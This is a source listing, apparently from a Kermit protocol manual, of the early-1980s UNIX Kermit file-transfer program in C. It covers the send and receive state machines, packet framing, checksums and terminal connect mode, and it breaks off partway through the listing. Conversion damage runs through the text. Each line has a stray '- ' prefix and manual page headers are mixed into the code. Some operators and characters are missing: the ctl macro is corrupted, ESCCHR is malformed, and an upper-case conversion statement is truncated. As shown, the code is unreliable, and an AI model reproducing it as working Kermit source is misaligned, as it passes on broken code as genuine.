- than char() for integer-to-character conversion.
-
- /*
- * K e r m i t File Transfer Utility
- *
- * UNIX Kermit, Columbia University, 1981, 1982, 1983
- * Bill Catchings, Bob Cattani, Chris Maio, Frank da Cruz, Alan Crosswell
- *
- * Also: Jim Guyton, Rand Corporation
- * Walter Underwood, Ford Aerospace
- *
- * usage: kermit c [lbe line baud escapechar] to connect
- * kermit s [d..iflb line baud] file ... to send files
- * kermit r [d..iflb line baud] to receive files
- *
- * where c=connect, s=send, r=receive,
- * d=debug, i=image mode, f=no filename conversion, l=tty line,
- * b=baud rate, e=escape char.
- *
- * For remote Kermit, format is either:
- * kermit r to receive files
- * or kermit s file ... to send files
- *
- */
-
-
-
-
-
-
-
-
-
- _______________
-
- 4
- Kernighan & Ritchie, The C Programming Language: Prentice-Hall (1978)
- A KERMIT Program Page 66
-
-
-
- /*
- * Modification History:
- *
- * Oct. 17 Included fixes from Alan Crosswell (CUCCA) for IBM_UTS:
- * - Changed MYEOL character from \n to \r.
- * - Change char to int in bufill so getc would return -1 on
- * EOF instead of 255 (-1 truncated to 8 bits)
- * - Added read() in rpack to eat the EOL character
- * - Added fflush() call in printmsg to force the output
- * NOTE: The last three changes are not conditionally compiled
- * since they should work equally well on any system.
- *
- * Changed Berkeley 4.x conditional compilation flag from
- * UNIX4X to UCB4X.
- * Added support for error packets and cleaned up the printing
- * routines.
- */
-
- #include <stdio.h> /* Standard UNIX definitions */
-
- /* Conditional compilation for different machines/operating systems */
- /* One and only one of the following lines should be 1 */
-
- #define UCB4X 1 /* Berkeley 4.x UNIX */
- #define TOPS_20 0 /* TOPS-20 */
- #define IBM_UTS 0 /* Amdahl UTS on IBM systems */
- #define VAX_VMS 0 /* VAX/VMS (not yet implemented) */
-
- /* Conditional compilation for the different Unix variants */
- /* 0 means don't compile it, nonzero means do */
-
- #if UCB4X
- #define V6_LIBS 0 /* Dont't use retrofit libraries */
- #define NO_FIONREAD 0 /* We have ioctl(FIONREAD,...) for flushinput() */
- #define NO_TANDEM 0 /* We have TANDEM line discipline (xon/xoff) */
- #endif
-
- #if IBM_UTS
- #define V6_LIBS 0 /* Don't use retrofit libraries */
- #define NO_FIONREAD 1 /* No ioctl(FIONREAD,...) for flushinput() */
- #define NO_TANDEM 1 /* No TANDEM line discipline (xon/xoff) */
- #endif
-
- #if V6_LIBS
- #include <retrofit/sgtty.h>
- #include <retrofit/signal.h>
- #include <retrofit/setjmp.h>
- #else
- #include <sgtty.h>
- #include <signal.h>
- #include <setjmp.h>
- #endif
- A KERMIT Program Page 67
-
-
-
- #if NO_TANDEM
- #define TANDEM 0 /* define it to be nothing if it's unsupported */
- #endif
-
-
- /* Symbol Definitions */
-
- #define MAXPACKSIZ 94 /* Maximum packet size */
- #define SOH 1 /* Start of header */
- #define CR 13 /* ASCII Carriage Return */
- #define SP 32 /* ASCII space */
- #define DEL 127 /* Delete (rubout) */
- #define ESCCHR '` /* Default escape character for CONNECT */
-
- #define MAXTRY 10 /* Times to retry a packet */
- #define MYQUOTE '#' /* Quote character I will use */
- #define MYPAD 0 /* Number of padding characters I will need */
- #define MYPCHAR 0 /* Padding character I need (NULL) */
-
- #if IBM_UTS
- #define MYEOL '\r' /* End-Of-Line character for UTS systems */
- #else
- #define MYEOL '\n' /* End-Of-Line character I need */
- #endif
-
- #define MYTIME 10 /* Seconds after which I should be timed out */
- #define MAXTIM 60 /* Maximum timeout interval */
- #define MINTIM 2 /* Minumum timeout interval */
-
- #define TRUE -1 /* Boolean constants */
- #define FALSE 0
-
-
- /* Macro Definitions */
-
- /*
- * tochar: converts a control character to a printable one by adding a space.
- *
- * unchar: undoes tochar.
- *
- * ctl: converts between control characters and printable characters by
- * toggling the control bit (ie. ?A becomes A and A becomes ?A).
- */
- #define tochar(ch) ((ch) + ' ')
- #define unchar(ch) ((ch) - ' ')
- #define ctl(ch) ((ch) ? 64 )
-
-
- /* Global Variables */
- A KERMIT Program Page 68
-
-
-
- int size, /* Size of present data */
- rpsiz, /* Maximum receive packet size */
- spsiz, /* Maximum send packet size */
- pad, /* How much padding to send */
- timint, /* Timeout for foreign host on sends */
- n, /* Packet number */
- numtry, /* Times this packet retried */
- oldtry, /* Times previous packet retried */
- ttyfd, /* File descriptor of tty for I/O, 0 if remote */
- remote, /* -1 means we're a remote kermit */
- image, /* -1 means 8-bit mode */
- debug, /* indicates level of debugging output (0=none) */
- filnamcnv, /* -1 means do file name case conversions */
- filecount; /* Number of files left to send */
-
- char state, /* Present state of the automaton */
- padchar, /* Padding character to send */
- eol, /* End-Of-Line character to send */
- escchr, /* Connect command escape character */
- quote, /* Quote character in incoming data */
- **filelist, /* List of files to be sent */
- *filnam, /* Current file name */
- recpkt[MAXPACKSIZ], /* Receive packet buffer */
- packet[MAXPACKSIZ]; /* Packet buffer */
-
- FILE *fp, /* File pointer for current disk file */
- *log; /* File pointer for Logfile */
-
- jmp_buf env; /* Environment ptr for timeout longjump */
-
-
- /*
- * m a i n
- *
- * Main routine - parse command and options, set up the
- * tty lines, and dispatch to the appropriate routine.
- */
-
- main(argc,argv)
- int argc; /* Character pointers to and count of */
- char **argv; /* command line arguments */
- {
- char *ttyname, /* tty name for LINE argument */
- *cp; /* char pointer */
- int speed, /* speed of assigned tty, */
- cflg, rflg, sflg; /* flags for CONNECT, RECEIVE, SEND */
-
- struct sgttyb
- rawmode, /* Controlling tty raw mode */
- cookedmode, /* Controlling tty cooked mode */
- ttymode; /* mode of tty line in LINE option */
-
- if (argc < 2) usage(); /* Make sure there's a command line */
-
- cp = *++argv; argv++; argc -= 2; /* Set up pointers to args */
- A KERMIT Program Page 69
-
-
-
- /* Initialize these values and hope the first packet will get across OK */
-
- eol = CR; /* EOL for outgoing packets */
- quote = '#'; /* Standard control-quote char "#" */
- pad = 0; /* No padding */
- padchar = NULL; /* Use null if any padding wanted */
-
- speed = cflg = sflg = rflg = 0; /* Turn off all parse flags */
- ttyname = 0; /* Default is remote mode */
-
- #if UCB4X /* Default to 7-bit masking, CRLF */
- image = FALSE; /* translation and filename case */
- filnamcnv = TRUE; /* conversion for UNIX systems */
- #else
- image = TRUE; /* Default to no processing for */
- filnamcnv = FALSE; /* non-UNIX systems */
- #endif
-
- escchr = ESCCHR; /* Default escape character */
-
- while ((*cp) != NULL) /* Parse characters in first arg. */
- switch (*cp++)
- {
- case 'c': cflg++; break; /* C = Connect command */
- case 's': sflg++; break; /* S = Send command */
- case 'r': rflg++; break; /* R = Receive command */
-
- case 'd': /* D = Increment debug mode count */
- debug++; break;
-
- case 'f':
- filnamcnv = FALSE; /* F = don't do case conversion */
- break; /* on filenames */
-
- case 'i': /* I = Image (8-bit) mode */
- image = TRUE; break; /* (this is default for non-UNIX) */
-
- case 'l': /* L = specify tty line to use */
- if (argc--) ttyname = *argv++;
- else usage();
- if (debug) printf("Line to remote host is %s\n",ttyname);
- break;
-
- case 'e': /* E = specify escape char */
- if (argc--) escchr = **argv++;
- else usage();
- if (debug) printf("Escape char is \"%c\"\n",escchr);
- break;
- A KERMIT Program Page 70
-
-
-
- case 'b': /* B = specify baud rate */
- #if UCB4X
- if (argc--) speed = atoi(*argv++);
- else usage();
- if (debug) printf("Line speed to remote host is %d\n",speed);
- break;
- #else
- printmsg("Speed setting implemented for Unix only.");
- exit(1);
- #endif
- }
-
- /* Done parsing */
-
- if ((cflg+sflg+rflg) != 1) /* Only one command allowed */
- usage();
-
-
- if (ttyname) /* If LINE was specified, we */
- { /* operate in local mode */
- ttyfd = open(ttyname,2); /* Open the tty line */
- if (ttyfd < 0)
- {
- printmsg("Cannot open %s",ttyname);
- exit(1);
- }
- remote = FALSE; /* Indicate we're in local mode */
- }
- else /* No LINE specified so we operate */
- { /* in remote mode (ie. controlling */
- ttyfd = 0; /* tty is the communications line) */
- remote = TRUE;
- }
-
-
- /* Put the proper tty into the correct mode */
-
- if (remote) /* If remote, use controlling tty */
- {
- gtty(0,&cookedmode); /* Save current mode so we can */
- gtty(0,&rawmode); /* restore it later */
- rawmode.sg_flags |= (RAW|TANDEM);
- rawmode.sg_flags &= ~(ECHO|CRMOD);
- stty(0,&rawmode); /* Put tty in raw mode */
- }
- else /* Local, use assigned line */
- {
- gtty(ttyfd,&ttymode);
- ttymode.sg_flags |= (RAW|TANDEM);
- ttymode.sg_flags &= ~(ECHO|CRMOD);
- A KERMIT Program Page 71
-
-
-
- #if UCB4X /* Speed changing for UNIX only */
- if (speed) /* User specified a speed? */
- {
- switch(speed) /* Get internal system code */
- {
- case 110: speed = B110; break;
- case 150: speed = B150; break;
- case 300: speed = B300; break;
- case 1200: speed = B1200; break;
- case 2400: speed = B2400; break;
- case 4800: speed = B4800; break;
- case 9600: speed = B9600; break;
-
- default:
- printmsg("Bad line speed.");
- exit(1);
- }
- ttymode.sg_ispeed = speed;
- ttymode.sg_ospeed = speed;
- }
- #endif /* UCB4X */
-
- stty(ttyfd,&ttymode); /* Put asg'd tty in raw mode */
- }
-
-
- /* All set up, now execute the command that was given. */
-
- if (debug)
- {
- printf("Debugging level = %d\n\n",debug);
-
- if (cflg) printf("Connect command\n\n");
- if (sflg) printf("Send command\n\n");
- if (rflg) printf("Receive command\n\n");
- }
-
- if (cflg) connect(); /* Connect command */
-
- if (sflg) /* Send command */
- {
- if (argc--) filnam = *argv++; /* Get file to send */
- else
- { if (remote)
- stty(0,&cookedmode); /* Restore controlling tty's modes */
- usage(); /* and give error */
- }
- fp = NULL; /* Indicate no file open yet */
- filelist = argv; /* Set up the rest of the file list */
- filecount = argc; /* Number of files left to send */
- if (sendsw() == FALSE) /* Send the file(s) */
- printmsg("Send failed."); /* Report failure */
- else /* or */
- printmsg("done."); /* success */
- }
- A KERMIT Program Page 72
-
-
-
- if (rflg) /* Receive command */
- {
- if (recsw() == FALSE) /* Receive the file(s) */
- printmsg("Receive failed.");
- else /* Report failure */
- printmsg("done."); /* or success */
- }
-
- if (remote) stty(0,&cookedmode); /* Restore controlling tty's modes */
- }
-
-
- /*
- * s e n d s w
- *
- * Sendsw is the state table switcher for sending files. It loops until
- * either it finishes, or an error is encountered. The routines called
- * by sendsw are responsible for changing the state.
- *
- */
-
- sendsw()
- {
- char sinit(), sfile(), sdata(), seof(), sbreak();
-
- state = 'S'; /* Send initiate is the start state */
- n = 0; /* Initialize message number */
- numtry = 0; /* Say no tries yet */
- while(TRUE) /* Do this as long as necessary */
- {
- if (debug) printf("sendsw state: %c\n",state);
- switch(state)
- {
- case 'S': state = sinit(); break; /* Send-Init */
- case 'F': state = sfile(); break; /* Send-File */
- case 'D': state = sdata(); break; /* Send-Data */
- case 'Z': state = seof(); break; /* Send-End-of-File */
- case 'B': state = sbreak(); break; /* Send-Break */
- case 'C': return (TRUE); /* Complete */
- case 'A': return (FALSE); /* "Abort" */
- default: return (FALSE); /* Unknown, fail */
- }
- }
- }
-
-
- /*
- * s i n i t
- *
- * Send Initiate: send this host's parameters and get other side's back.
- */
-
- char sinit()
- {
- int num, len; /* Packet number, length */
- A KERMIT Program Page 73
-
-
-
- if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
- spar(packet); /* Fill up init info packet */
- flushinput(); /* Flush pending input */
-
- spack('S',n,6,packet); /* Send an S packet */
- switch(rpack(&len,&num,recpkt)) /* What was the reply? */
- {
- case 'N': return(state); /* NAK, try it again */
-
- case 'Y': /* ACK */
- if (n != num) /* If wrong ACK, stay in S state */
- return(state); /* and try again */
- rpar(recpkt); /* Get other side's init info */
-
- if (eol == 0) eol = '\n'; /* Check and set defaults */
- if (quote == 0) quote = '#';
-
- numtry = 0; /* Reset try counter */
- n = (n+1)%64; /* Bump packet count */
- return('F'); /* OK, switch state to F */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: return(state); /* Receive failure, try again */
-
- default: return('A'); /* Anything else, just "abort" */
- }
- }
-
-
- /*
- * s f i l e
- *
- * Send File Header.
- */
-
- char sfile()
- {
- int num, len; /* Packet number, length */
- char filnam1[50], /* Converted file name */
- *newfilnam, /* Pointer to file name to send */
- *cp; /* char pointer */
-
- if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
- A KERMIT Program Page 74
-
-
-
- if (fp == NULL) /* If not already open, */
- { if (debug) printf(" Opening %s for sending.\n",filnam);
- fp = fopen(filnam,"r"); /* open the file to be sent */
- if (fp == NULL) /* If bad file pointer, give up */
- {
- error("Cannot open file %s",filnam);
- return('A');
- }
- }
-
- strcpy(filnam1, filnam); /* Copy file name */
- newfilnam = cp = filnam1;
- while (*cp != '\0') /* Strip off all leading directory */
- if (*cp++ == '/') /* names (ie. up to the last /). */
- newfilnam = cp;
-
- if (filnamcnv) /* Convert lower case to upper */
- for (cp = newfilnam; *cp != '\0'; cp++)
- if (*cp >= 'a' && *cp <= 'z')
- *cp
-
- len = cp - newfilnam; /* Compute length of new filename */
-
- printmsg("Sending %s as %s",filnam,newfilnam);
-
- spack('F',n,len,newfilnam); /* Send an F packet */
- switch(rpack(&len,&num,recpkt)) /* What was the reply? */
- {
- case 'N': /* NAK, just stay in this state, */
- num = (--num<0 ? 63:num); /* unless it's NAK for next packet */
- if (n != num) /* which is just like an ACK for */
- return(state); /* this packet so fall thru to... */
-
- case 'Y': /* ACK */
- if (n != num) return(state); /* If wrong ACK, stay in F state */
- numtry = 0; /* Reset try counter */
- n = (n+1)%64; /* Bump packet count */
- size = bufill(packet); /* Get first data from file */
- return('D'); /* Switch state to D */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: return(state); /* Receive failure, stay in F state */
-
- default: return('A'); /* Something else, just "abort" */
- }
- }
- A KERMIT Program Page 75
-
-
-
- /*
- * s d a t a
- *
- * Send File Data
- */
-
- char sdata()
- {
- int num, len; /* Packet number, length */
-
- if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
-
- spack('D',n,size,packet); /* Send a D packet */
- switch(rpack(&len,&num,recpkt)) /* What was the reply? */
- {
- case 'N': /* NAK, just stay in this state, */
- num = (--num<0 ? 63:num); /* unless it's NAK for next packet */
- if (n != num) /* which is just like an ACK for */
- return(state); /* this packet so fall thru to... */
-
- case 'Y': /* ACK */
- if (n != num) return(state); /* If wrong ACK, fail */
- numtry = 0; /* Reset try counter */
- n = (n+1)%64; /* Bump packet count */
- if ((size = bufill(packet)) == EOF) /* Get data from file */
- return('Z'); /* If EOF set state to that */
- return('D'); /* Got data, stay in state D */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: return(state); /* Receive failure, stay in D */
-
- default: return('A'); /* Anything else, "abort" */
- }
- }
-
-
- /*
- * s e o f
- *
- * Send End-Of-File.
- */
-
- char seof()
- {
- int num, len; /* Packet number, length */
- if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */
- A KERMIT Program Page 76
-
-
-
- spack('Z',n,0,packet); /* Send a 'Z' packet */
- switch(rpack(&len,&num,recpkt)) /* What was the reply? */
- {
- case 'N': /* NAK, just stay in this state, */
- num = (--num<0 ? 63:num); /* unless it's NAK for next packet, */
- if (n != num) /* which is just like an ACK for */
- return(state); /* this packet so fall thru to... */
-
- case 'Y': /* ACK */
- if (n != num) return(state); /* If wrong ACK, hold out */
- numtry = 0; /* Reset try counter */
- n = (n+1)%64; /* and bump packet count */
- if (debug) printf(" Closing input file %s, ",filnam);
- fclose(fp); /* Close the input file */
- fp = NULL; /* Set flag indicating no file open */
-
- if (debug) printf("looking for next file...\n");
- if (gnxtfl() == FALSE) /* No more files go? */
- return('B'); /* if not, break, EOT, all done */
- if (debug) printf(" New file is %s\n",filnam);
- return('F'); /* More files, switch state to F */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: return(state); /* Receive failure, stay in Z */
-
- default: return('A'); /* Something else, "abort" */
- }
- }
-
-
- /*
- * s b r e a k
- *
- * Send Break (EOT)
- */
-
- char sbreak()
- {
- int num, len; /* Packet number, length */
- if (numtry++ > MAXTRY) return('A'); /* If too many tries "abort" */
-
- spack('B',n,0,packet); /* Send a B packet */
- switch (rpack(&len,&num,recpkt)) /* What was the reply? */
- {
- case 'N': /* NAK, just stay in this state, */
- num = (--num<0 ? 63:num); /* unless NAK for previous packet, */
- if (n != num) /* which is just like an ACK for */
- return(state); /* this packet so fall thru to... */
- A KERMIT Program Page 77
-
-
-
- case 'Y': /* ACK */
- if (n != num) return(state); /* If wrong ACK, fail */
- numtry = 0; /* Reset try counter */
- n = (n+1)%64; /* and bump packet count */
- return('C'); /* Switch state to Complete */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: return(state); /* Receive failure, stay in B */
-
- default: return ('A'); /* Other, "abort" */
- }
- }
-
-
- /*
- * r e c s w
- *
- * This is the state table switcher for receiving files.
- */
-
- recsw()
- {
- char rinit(), rfile(), rdata(); /* Use these procedures */
-
- state = 'R'; /* Receive-Init is the start state */
- n = 0; /* Initialize message number */
- numtry = 0; /* Say no tries yet */
-
- while(TRUE)
- {
- if (debug) printf(" recsw state: %c\n",state);
- switch(state) /* Do until done */
- {
- case 'R': state = rinit(); break; /* Receive-Init */
- case 'F': state = rfile(); break; /* Receive-File */
- case 'D': state = rdata(); break; /* Receive-Data */
- case 'C': return(TRUE); /* Complete state */
- case 'A': return(FALSE); /* "Abort" state */
- }
- }
- }
-
-
- /*
- * r i n i t
- *
- * Receive Initialization
- */
-
- char rinit()
- {
- int len, num; /* Packet length, number */
- A KERMIT Program Page 78
-
-
-
- if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */
-
- switch(rpack(&len,&num,packet)) /* Get a packet */
- {
- case 'S': /* Send-Init */
- rpar(packet); /* Get the other side's init data */
- spar(packet); /* Fill up packet with my init info */
- spack('Y',n,6,packet); /* ACK with my parameters */
- oldtry = numtry; /* Save old try count */
- numtry = 0; /* Start a new counter */
- n = (n+1)%64; /* Bump packet number, mod 64 */
- return('F'); /* Enter File-Receive state */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: /* Didn't get packet */
- spack('N',n,0,0); /* Return a NAK */
- return(state); /* Keep trying */
-
- default: return('A'); /* Some other packet type, "abort" */
- }
- }
-
-
- /*
- * r f i l e
- *
- * Receive File Header
- */
-
- char rfile()
- {
- int num, len; /* Packet number, length */
- char filnam1[50]; /* Holds the converted file name */
-
- if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */
-
- switch(rpack(&len,&num,packet)) /* Get a packet */
- {
- case 'S': /* Send-Init, maybe our ACK lost */
- if (oldtry++ > MAXTRY) return('A'); /* If too many tries "abort" */
- if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */
- { /* Yes, ACK it again with */
- spar(packet); /* our Send-Init parameters */
- spack('Y',num,6,packet);
- numtry = 0; /* Reset try counter */
- return(state); /* Stay in this state */
- }
- else return('A'); /* Not previous packet, "abort" */
- A KERMIT Program Page 79
-
-
-
- case 'Z': /* End-Of-File */
- if (oldtry++ > MAXTRY) return('A');
- if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */
- { /* Yes, ACK it again. */
- spack('Y',num,0,0);
- numtry = 0;
- return(state); /* Stay in this state */
- }
- else return('A'); /* Not previous packet, "abort" */
-
- case 'F': /* File Header (just what we want) */
- if (num != n) return('A'); /* The packet number must be right */
- strcpy(filnam1, packet); /* Copy the file name */
-
- if (filnamcnv) /* Convert upper case to lower */
- for (filnam=filnam1; *filnam != '\0'; filnam++)
- if (*filnam >= 'A' && *filnam <= 'Z')
- *filnam |= 040;
-
- if ((fp=fopen(filnam1,"w"))==NULL) /* Try to open a new file */
- {
- error("Cannot create %s",filnam1); /* Give up if can't */
- return('A');
- }
- else /* OK, give message */
- printmsg("Receiving %s as %s",packet,filnam1);
-
- spack('Y',n,0,0); /* Acknowledge the file header */
- oldtry = numtry; /* Reset try counters */
- numtry = 0; /* ... */
- n = (n+1)%64; /* Bump packet number, mod 64 */
- return('D'); /* Switch to Data state */
-
- case 'B': /* Break transmission (EOT) */
- if (num != n) return ('A'); /* Need right packet number here */
- spack('Y',n,0,0); /* Say OK */
- return('C'); /* Go to complete state */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
-
- case FALSE: /* Didn't get packet */
- spack('N',n,0,0); /* Return a NAK */
- return(state); /* Keep trying */
-
- default: return ('A'); /* Some other packet, "abort" */
- }
- }
- A KERMIT Program Page 80
-
-
-
- /*
- * r d a t a
- *
- * Receive Data
- */
-
- char rdata()
- {
- int num, len; /* Packet number, length */
- if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */
-
- switch(rpack(&len,&num,packet)) /* Get packet */
- {
- case 'D': /* Got Data packet */
- if (num != n) /* Right packet? */
- { /* No */
- if (oldtry++ > MAXTRY)
- return('A'); /* If too many tries, abort */
- if (num == ((n==0) ? 63:n-1)) /* Else check packet number */
- { /* Previous packet again? */
- spack('Y',num,6,packet); /* Yes, re-ACK it */
- numtry = 0; /* Reset try counter */
- return(state); /* Don't write out data! */
- }
- else return('A'); /* sorry, wrong number */
- }
- /* Got data with right packet number */
- bufemp(packet,len); /* Write the data to the file */
- spack('Y',n,0,0); /* Acknowledge the packet */
- oldtry = numtry; /* Reset the try counters */
- numtry = 0; /* ... */
- n = (n+1)%64; /* Bump packet number, mod 64 */
- return('D'); /* Remain in data state */
-
- case 'F': /* Got a File Header */
- if (oldtry++ > MAXTRY)
- return('A'); /* If too many tries, "abort" */
- if (num == ((n==0) ? 63:n-1)) /* Else check packet number */
- { /* It was the previous one */
- spack('Y',num,0,0); /* ACK it again */
- numtry = 0; /* Reset try counter */
- return(state); /* Stay in Data state */
- }
- else return('A'); /* Not previous packet, "abort" */
-
- case 'Z': /* End-Of-File */
- if (num != n) return('A'); /* Must have right packet number */
- spack('Y',n,0,0); /* OK, ACK it. */
- fclose(fp); /* Close the file */
- n = (n+1)%64; /* Bump packet number */
- return('F'); /* Go back to Receive File state */
-
- case 'E': /* Error packet received */
- prerrpkt(recpkt); /* Print it out and */
- return('A'); /* abort */
- A KERMIT Program Page 81
-
-
-
- case FALSE: /* Didn't get packet */
- spack('N',n,0,0); /* Return a NAK */
- return(state); /* Keep trying */
-
- default: return('A'); /* Some other packet, "abort" */
- }
- }
-
- /*
- * c o n n e c t
- *
- * Establish a virtual terminal connection with the remote host, over an
- * assigned tty line.
- */
-
- connect()
- {
- int pid, /* Holds process id of child */
- connected; /* Boolean connect flag */
- char bel = '\07',
- c;
-
- struct sgttyb
- rawmode, /* Controlling tty raw mode */
- cookedmode; /* Controlling tty cooked mode */
-
- if (remote) /* Nothing to connect to in remote */
- { /* mode, so just return */
- printmsg("No line specified for connection.");
- return;
- }
-
- gtty(0,&cookedmode); /* Save current mode so we can */
- gtty(0,&rawmode); /* restore it later */
- rawmode.sg_flags |= (RAW|TANDEM);
- rawmode.sg_flags &= ~(ECHO|CRMOD);
- stty(0,&rawmode); /* Put tty in raw mode */
-
- pid = fork(); /* Start fork to get typeout from remote host */
- A KERMIT Program Page 82
-
-
-
- if (pid) /* Parent: send type-in to remote host */
- {
- printmsg("connected...\r");
- connected = TRUE; /* Put us in "connect mode" */
- while (connected)
- {
- read(0,&c,1); /* Get a character */
- if ((c&0177) == escchr) /* Check for escape character */
- {
- read(0,&c,1);
- if ((c&0177) == escchr)
- write(ttyfd,&c,1);
- else
- switch (c&0177)
- {
- case 'c':
- case 'C':
- connected = FALSE;
- write(0,"\r\n",2);
- break;
-
- case 'h':
- case 'H':
- write(0,"\r\nYes, I'm still here...\r\n",26);
- break;
- default:
- write(0,&bel,1);
- break;
- }
- }
- else
- { /* If not escape charater, */
- write(ttyfd,&c,1); /* write it out */
- c = NULL; /* Nullify it (why?) */
- }
- }
- kill(pid,9); /* Done, kill the child */
- wait(0); /* and bury him */
- stty(0,&cookedmode); /* Restore tty mode */
- printmsg("disconnected.");
- return; /* Done */
- }
- else /* Child does the reading from the remote host */
- {
- while(1) /* Do this forever */
- {
- read(ttyfd,&c,1);
- write(1,&c,1);
- }
- }
- }
- A KERMIT Program Page 83
-
-
-
- /*
- * KERMIT utilities.
- */
-
- clkint() /* Timer interrupt handler */
- {
- longjmp(env,TRUE); /* Tell rpack to give up */
- }
-
-
- /*
- * s p a c k
- *
- * Send a Packet
- */
-
- spack(type,num,len,data)
- char type, *data;
- int num, len;
- {
- int i; /* Character loop counter */
- char chksum, buffer[100]; /* Checksum, packet buffer */
- register char *bufp; /* Buffer pointer */
-
- if (debug>1) /* Display outgoing packet */
- {
- if (data != NULL)
- data[len] = '\0'; /* Null-terminate data to print it */
- printf(" spack type: %c\n",type);
- printf(" num: %d\n",num);
- printf(" len: %d\n",len);
- if (data != NULL)
- printf(" data: \"%s\"\n",data);
- }
-
- bufp = buffer; /* Set up buffer pointer */
- for (i=1; i<=pad; i++) write(ttyfd,&padchar,1); /* Issue any padding */
-
- *bufp++ = SOH; /* Packet marker, ASCII 1 (SOH) */
- *bufp++ = tochar(len+3); /* Send the character count */
- chksum = tochar(len+3); /* Initialize the checksum */
- *bufp++ = tochar(num); /* Packet number */
- chksum += tochar(num); /* Update checksum */
- *bufp++ = type; /* Packet type */
- chksum += type; /* Update checksum */
- A KERMIT Program Page 84
-
-
-
- for (i=0; i<len; i++) /* Loop for all data characters */
- {
- *bufp++ = data[i]; /* Get a character */
- chksum += data[i]; /* Update checksum */
- }
- chksum = (((chksum&0300) >> 6)+chksum)&077; /* Compute final checksum */
- *bufp++ = tochar(chksum); /* Put it in the packet */
- *bufp = eol; /* Extra-packet line terminator */
- write(ttyfd, buffer,bufp-buffer+1); /* Send the packet */
- }
-
- /*
- * r p a c k
- *
- * Read a Packet
- */
-
- rpack(len,num,data)
- int *len, *num; /* Packet length, number */
- char *data; /* Packet data */
- {
- int i, done; /* Data character number, loop exit */
- char t, /* Current input character */
- type, /* Packet type */
- cchksum, /* Our (computed) checksum */
- rchksum; /* Checksum received from other host */
-
- #if UCB4X /* TOPS-20 can't handle timeouts... */
- if (setjmp(env)) return FALSE; /* Timed out, fail */
- signal(SIGALRM,clkint); /* Setup the timeout */
- if ((timint > MAXTIM) || (timint < MINTIM)) timint = MYTIME;
- alarm(timint);
- #endif /* UCB4X */
-
- while (t != SOH) /* Wait for packet header */
- {
- read(ttyfd,&t,1);
- t &= 0177; /* Handle parity */
- }
-
- done = FALSE; /* Got SOH, init loop */
- while (!done) /* Loop to get a packet */
- {
- read(ttyfd,&t,1); /* Get character */
- if (!image) t &= 0177; /* Handle parity */
- if (t == SOH) continue; /* Resynchronize if SOH */
- cchksum = t; /* Start the checksum */
- *len = unchar(t)-3; /* Character count */
-
- read(ttyfd,&t,1); /* Get character */
- if (!image) t &= 0177; /* Handle parity */
- if (t == SOH) continue; /* Resynchronize if SOH */
- cchksum = cchksum + t; /* Update checksum */
- *num = unchar(t); /* Packet number */
- A KERMIT Program Page 85
-
-
-
- read(ttyfd,&t,1); /* Get character */
- if (!image) t &= 0177; /* Handle parity */
- if (t == SOH) continue; /* Resynchronize if SOH */
- cchksum = cchksum + t; /* Update checksum */
- type = t; /* Packet type */
-
- for (i=0; i<*len; i++) /* The data itself, if any */
- { /* Loop for character count */
- read(ttyfd,&t,1); /* Get character */
- if (!image) t &= 0177; /* Handle parity */
- if (t == SOH) continue; /* Resynch if SOH */
- cchksum = cchksum + t; /* Update checksum */
- data[i] = t; /* Put it in the data buffer */
- }
- data[*len] = 0; /* Mark the end of the data */
-
- read(ttyfd,&t,1); /* Get last character (checksum) */
- rchksum = unchar(t); /* Convert to numeric */
- read(ttyfd,&t,1); /* get EOL character and toss it */
- if (!image) t &= 0177; /* Handle parity */
- if (t == SOH) continue; /* Resynchronize if SOH */
- done = TRUE; /* Got checksum, done */
- }
-
- #if UCB4X
- alarm(0); /* Disable the timer interrupt */
- #endif
-
- if (debug>1) /* Display incoming packet */
- {
- if (data != NULL)
- data[*len] = '\0'; /* Null-terminate data to print it */
- printf(" rpack type: %c\n",type);
- printf(" num: %d\n",*num);
- printf(" len: %d\n",*len);
- if (data != NULL)
- printf(" data: \"%s\"\n",data);
- }
- /* Fold in bits 7,8 to compute */
- cchksum = (((cchksum&0300) >> 6)+cchksum)&077; /* final checksum */
-
- if (cchksum != rchksum) return(FALSE);
-
- return(type); /* All OK, return packet type */
- }
-
-
- /*
- * b u f i l l
- *
- * Get a bufferful of data from the file that's being sent.
- * Only control-quoting is done; 8-bit & repeat count prefixes are
- * not handled.
- */
- A KERMIT Program Page 86
-
-
-
- bufill(buffer)
- char buffer[]; /* Buffer */
- {
- int i, /* Loop index */
- t; /* Char read from file */
- char t7; /* 7-bit version of above */
-
- i = 0; /* Init data buffer pointer */
- while((t = getc(fp)) != EOF) /* Get the next character */
- {
- t7 = t & 0177; /* Get low order 7 bits */
-
- if (t7 < SP || t7==DEL || t7==quote) /* Does this char require */
- { /* special handling? */
- if (t=='\n' && !image)
- { /* Do LF->CRLF mapping if !image */
- buffer[i++] = quote;
- buffer[i++] = ctl('\r');
- }
- buffer[i++] = quote; /* Quote the character */
- if (t7 != quote)
- {
- t = ctl(t); /* and uncontrolify */
- t7 = ctl(t7);
- }
- }
- if (image)
- buffer[i++] = t; /* Deposit the character itself */
- else
- buffer[i++] = t7;
-
- if (i >= spsiz-8) return(i); /* Check length */
- }
- if (i==0) return(EOF); /* Wind up here only on EOF */
- return(i); /* Handle partial buffer */
- }
-
-
- /*
- * b u f e m p
- *
- * Put data from an incoming packet into a file.
- */
-
- bufemp(buffer,len)
